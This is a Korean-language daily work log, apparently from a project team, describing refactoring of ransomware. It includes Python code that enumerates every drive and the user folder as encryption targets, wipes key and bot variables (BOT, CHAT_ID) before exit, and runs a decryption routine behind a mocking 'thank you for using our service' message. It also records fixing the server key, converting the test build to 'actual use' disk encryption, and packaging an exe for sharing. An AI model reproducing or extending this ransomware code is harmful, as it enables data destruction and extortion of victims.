오늘 할일
1. 랜섬웨어 리팩토링
2. Project-X과제_3번까지 제출 및 전문가 설뭉 참여
3. 봉사
4. Projext-X회의
5. 랜섬웨어 회의
오늘 한일
1. 랜섬웨어 리팩토링
1-1. 랜섬웨어 서버 키 값 고정
Server.py
[DEBUG] Making ServerPrivateKey by using script argument...
[DEBUG] Created ServerPrivateKey
b'>\xf7@9\x8c\x1e\x88m\xedP9\xee<\x85\x8bq3\x97\xf1\xb3\xc8\xe1\xa7\x7fNy\xc9\xd6\xc9Hl$'
[DEBUG] Derived ServerPublicKey
b'A?\xb6\xdcJ\x02e1-\xbfN9BWkY\x13B+\x02\x03\xfa\xe5\xfb)\xf5}\x92\x83\x91\xb4E'
[DEBUG] Key is completely Saved!
Server with load key.bat
python Server.py "E:\github\-ransomware3\최지웅\PRIVATE_KEY_RSA_SERVER_2023-11-21 08-58-28"
Client의 키값은 최초 실행시 설정되기에 서버만 고정.
1-2. 현재 멀티스레딩 처리 부분에서, 스레드가 완료된 경우에 ThreadPool이 감소하지 않을 것 같다는 추측. 즉, 최초 MaxThread만큼의 50MB이상 파일만 멀티스레딩 처리할 것 같아 추가 분석이 필요.
1-3. 변수값을 프로그램 종료 전 랜덤하게 덮어쓰는 코드 추가.
def dumpVariable():
global PRIVATE_KEY_RSA, PUBLIC_KEY_RSA, PRIVATE_KEY_AES, PUBLIC_SERVER_RSA_KEY, AES_BOX, BOT, CHAT_ID, EncryptModule
PRIVATE_KEY_RSA=os.urandom(sys.getsizeof(PRIVATE_KEY_RSA)+1)
PUBLIC_KEY_RSA=os.urandom(sys.getsizeof(PUBLIC_KEY_RSA)+1)
PRIVATE_KEY_AES=os.urandom(sys.getsizeof(PRIVATE_KEY_AES)+1)
PUBLIC_SERVER_RSA_KEY=os.urandom(sys.getsizeof(PUBLIC_SERVER_RSA_KEY)+1)
AES_BOX=os.urandom(sys.getsizeof(AES_BOX)+1)
BOT=os.urandom(sys.getsizeof(BOT)+1)
CHAT_ID=os.urandom(sys.getsizeof(CHAT_ID)+1)
EncryptModule=os.urandom(sys.getsizeof(EncryptModule)+1)
실행해보니 기존사이즈+1만큼의 오버플로우 덮어쓰기를 기대했는데, 약 2배길이의 랜덤바이트코드로 치환됨. AEX_BOX의 바이트 코드 출력(기존, 랜덤)
b'\x81\xfb\xbay\x0e\x02[\xe6\xaa\xba\xcb\xe5(\xf5)\xd7\xbd\x9fJ\xd2\xea\xba\xca\x9cH\x1d\xd4\x1a\x92x5\x85'
b'\x11\xc0\x9b\xcf\xcf"\xa8\x17\xcb\xc5\xf1cS\x8e\xe0u\x00\xb4F\x883\x82\xaf\xbe*\x8ciG\xf0\x04\xe1\xf22\x87\xbe\xa1?6\xe5\xf6\xcf\xcd\xbc\n*f\\\xd4N\xc8\x08\x0bq\xc7\xba\x15,'
1-4. 테스트 용을 실제 사용을 위해 디스크 암호화 리팩토링 진행. 위험부담을 줄이기 위해 텍스트 에디터로 편집
def listUpTargetDir():
global PathList
PathList=[r"C:\Users\\"]
for letter in range(97, 123):
drive=f"{chr(letter)}:\\"
if (pathlib.Path(drive).exists()):
PathList.append(drive)
PathList.remove("c:\\")
if __name__=='__main__':
sleep(1)
os.remove(removeTarget)
listUpTargetDir()
ransomewareWarning()
def warningInProgress():
WINDOW=tkinter.Tk()
WINDOW.withdraw()
messagebox.showerror("DO NOT TOUCH COMPUTER", "Decryption is working...")
def completeDecryption():
WINDOW=tkinter.Tk()
WINDOW.withdraw()
messagebox.showerror("User computer is unlocked!", "Thank you for using our service:):):):):) Bye!")
def decryptComputer():
global entry
buf=entry.get()
try:
AESKey=base64.b64decode(buf[10:])
setDecryptModule(AESKey)
print("Start Decryption... Do not turn off computer...")
th=Thread(target=warningInProgress)
th.start()#복호화 진행 알림
for drive in PathList:
recursiveDecrypt(drive)
while (len(ThreadPool)!=0):
th=ThreadPool.pop()
th.join()
th2=Thread(target=completeDecryption)
th2.start()#복호화 완료 알림
print("User computer is unlocked! Thank you for using our service:):):):):) Bye!")
sleep(10)
sys.exit(0)
except Exception as e:
print("AESKey is not correct!", e)
1-5. github업로드, exe파일 추출 및 구글드라이브 공유.